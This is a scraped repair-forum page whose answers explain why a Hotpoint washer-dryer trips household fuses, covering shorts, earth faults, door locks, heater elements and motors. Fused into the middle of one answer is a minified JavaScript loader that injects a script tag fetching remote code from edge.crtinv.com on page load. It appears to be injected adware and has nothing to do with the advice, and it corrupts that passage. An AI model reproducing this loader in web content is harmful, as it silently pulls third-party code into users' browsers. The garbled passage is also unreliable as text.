Machine Trips when the door closes

Ran a high temperature programme last night and half way through the machine tripped my fuses. It now trips my fuses whenever I close the door, whether the machine is on or off. If the door is open, I can turn the machine on and it appears to be able to be programmed etc. But as soon as the I close the door...pop...it trips my fuses. The machine is about 14 months old and we haven't had a problem with it before.

check the wiring and make sure nothing metal is on the motor because your dryer has a short in it somewhere

SOURCE: HOTPOINT WD420 TRIPS ALL THE SOCKETS IN MY HOUSE

You have a fault on the machine which is a dead short or an earth leakage.

Neither can be sorted out without a set of testers and some knowledge

Unless you can get hold of a resistance checker and know how to use it call a in a repair person

SOURCE: why does my washing machine trip the electric

run the machine, after it trips, unplug and carefully touch the motor,it may have a bad capacitor, or dry bearings causing it to draw excessive current,if these 2 things are not it, then look for a bare wire that may be touching case during this part of the cycle,and if you can get an "Amprobe" it reads current and check machines current draw during the start to trip current

Not sure your entire question but if no cycle is chosen or running and you close the door and the power trips then it is definitely your door lock mechanism. This is located to the right of the door behind front panel. If it tripped out in the middle of the cycle and by closing the door you are restarting the cycle then it will depend on where in the cycle you are up to. Of course it can always still be the door switch itself I don't usually find them tripping the power. If the machine starts the fill but trips out it is likely the inlet solenoids. If the unit fills some and then trips it is likely the motor. If the unit fills washes and then trips it is likely the drain pump. If the unit fills washes drains and then trips it is likely the motor. Of course at any of these points it can be any of the pc boards. So if you know where in the cycle it trips this will narrow down the choices.

My hot point condenser dryer keeps tripping the trip switch, have changed fuse but still not working


This would tend to indicate a problem with the temperature sensor not switching off the heatercircuit so it overheats and then trips. As soon as it cools down the machine will continue to work OK. This shouldbe a very quick and cheap repair.!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState '' this.readyState=="loaded" '' this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

Trips out the mains fuse.


must be an earth fault within the machine. suspect a burned out wire or switch. possibly carbon dust within the motor. take the top off the machine & have a look at the wireing loom.

Machine fuses house RCD if a drying cycle is selected


Suggest you turn the power off, remove the top cover, diconnect the live and neutral connections to the dryer element (likely to be two of each flavour of connection if the machine has high and low dry settings). Pop a bit of insulating tape around the wire ends so you don't short anything out. Now try to put the machine through a drying cycle. If it works (albeit cold) without tripping the house power, you need a new dryer element. If the house power still trips, turn the power off again and without reconnecting the element wires, disconnect and tape the live and neutral wires from the blower motor. Again, try to run a drying cycle. If this stops the house power tripping, then it looks like a motor problem (though this would be quite unusual). If the house power still trips, you need to have a careful look at all the wiring between the main timer, the dryer timer, any hi/lo heat switch, the blower motor and the element with its associated thermostats and thermal cutouts (all located near the element on the air duct). Look in particular for chafes where wires go round corners, and where wiring crosses from the case to the suspended machinery in the middle of the machine. Pop any follow-on queries in the comments section of this question - I'll keep half an eye on it. A.
